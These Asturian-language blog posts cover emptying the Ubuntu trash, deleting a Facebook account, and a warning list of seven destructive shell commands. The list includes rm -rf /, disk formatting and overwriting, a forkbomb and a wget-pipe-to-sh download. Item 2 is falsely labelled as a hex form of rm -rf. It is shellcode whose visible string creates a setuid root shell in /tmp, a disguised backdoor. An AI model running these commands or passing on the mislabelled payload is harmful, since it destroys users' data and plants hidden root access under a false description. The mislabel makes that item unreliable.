Toos sabemos vaciar los ficheros de la papelera n’Ubuntu. Pero de xemes en cuandu, hai ficheros que desaniciamos, y llueu “dannos problemes” cuando queremos Vaciar la papelera.

Estos “problemes”, nun son fallos del sistema, sinón tolo contrario. Ubuntu tien un sistema de permisos y xestión de seguridá tan grande, que cuando unviamos a la papelera un ficheru que tea protexíu o nun perteneza al mesmu grupu de permisos nel que ta el nuesu usuariu, da “problemes”. Y entós ¿como vaciar la papelera?. Pues usando l’Alministrador, coño, que pa eso esiste, y amás funciona, non como en Windows…. 😉

Entramos na papelera como superusuariu, y a desaniciar! La papelera ta en:

/home/nome-de-usuariu/.local/share/Trash

…o tamién pues tirar de Terminal, escribir:

sudo rm -rf /home/nome.de.usuariu/.local/share/Trash

…y pista! 😀

Tarás pensando: “vaya rollu, nel mio Windows nun tenía que facer eso“.

……Yá, nun te ḥode…. Alcuérdate de los virus. La seguridá ye lo primero.

Lo que debiere ser fácil, conviertese n’anubríu nesta famosa rede social.
Hai varies coses que me molesten abondo d’esta triba de redes sociales, y nel casu que nos interesa, Facebook.

• Nun-y veo utilidá. La única, ver que-y va pasando a decenes de persones d’un vistazu… pero’l preciu a pagar pola privacidá ye demasiao grande.
• Copien los datos webs paraleres (cómo 123people.es), ensín el to consentimientu y polo tanto pierdes el control sobro los tos datos.
• La falta de privacidá, teniendo que poner datos reales pa que los tos collacios t’atopen (dexaría de tener xacíu si nun pusieremos los nuestros datos).
• El serviciu en sí tien una intromisión ablucante, rellacionandome con xente perbien, pero si nun quies que faiga eso…
• Ser amigu, fan, del grupu X, de poco val. Debería nomase “Rede asocial”, la mayoría de la xente nun la conoces en persona, y perder tiempu nesta triba de webs, nun me parez que seya tolo “social” que debería ser.
• La pérdida de tiempu personal que supón lo dicho nel puntu anterior, cada vegada hai más servicios qu’atender n’Internet, asina que prefiero centrame nos que realmente me presten y veo útiles.
• La dificultá de date de baxa del serviciu.
• ¿Qué me gusta ser raru y dir escontra corriente, cuenta? Radicalón que ye ún 😛

Bien, de xuro que m’escaezo de dalgún.

Pa date de baxa, parez que’l camín ye fácil y cenciellu: Menú Configuración de la cuenta / Desactivar la Cuenta… ¡pero non! ¡Ehí sólo desautives la to cuenta, nun la desanicies dafechu!! Si vuelves a entrar, tendrás tolo que teníes, na fué esborrao.

Si lo que quies ye que la to cuenta seya esborrada pa siempre, tienes que dir a esti enllaz perescondíu:
http://www.facebook.com/help/contact.php?show_form=delete_account
Nel plazu de 14 díes ensín que vuelvas a entrar, toles tos semeyes, páxines nes que yes fan, comentarios… serán desaniciaos 😉

Vía: xeduced.

Voi ponevos 7 comandos que NUNCA debeis executar. De facelo desaniciaravos el sistema.
Pongovoslos ya que la conocencia da’l control 😉 y si dalguna vegada te roben el portátil y consigues acceder por ssh puedes desaniciar tolos documentos > : P

1. Esborra recursivamente tolos ficheros del direutoriu root.
rm -rf /

2. El comandu 1, escritu en hexadecimal ¡toma frikada! 😛
char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

3. Formatea’l sistema de ficheros de /dev/sda (xeneralmente el nuestro discu duru).
mkfs.ext3 /dev/sda

4. Conocíu tamién como forkbomb, criará y executará un númberu pergrande de procesos fasta bloquiar el sistema.
:(){:|:&};:

5. Sobreescribe’l dispositivu (/dev/sda) cola salida del comandu executado, xeneralmente desaniciando’l conteníu autual del dispositivu y provocado la pérdida total de los datos.
cualisquier_comandu > /dev/sda

6. Baxará un ficheru executable o script y lo executará. Si’l sitiu nun ye de confianza podría ser códigu maliciosu.
wget http://alguna_url -O- | sh

7. Mueve toles carpetes del usuariu a /dev/null, oseayase, desaniciales toes.
mv /home/tu_usuario/* /dev/null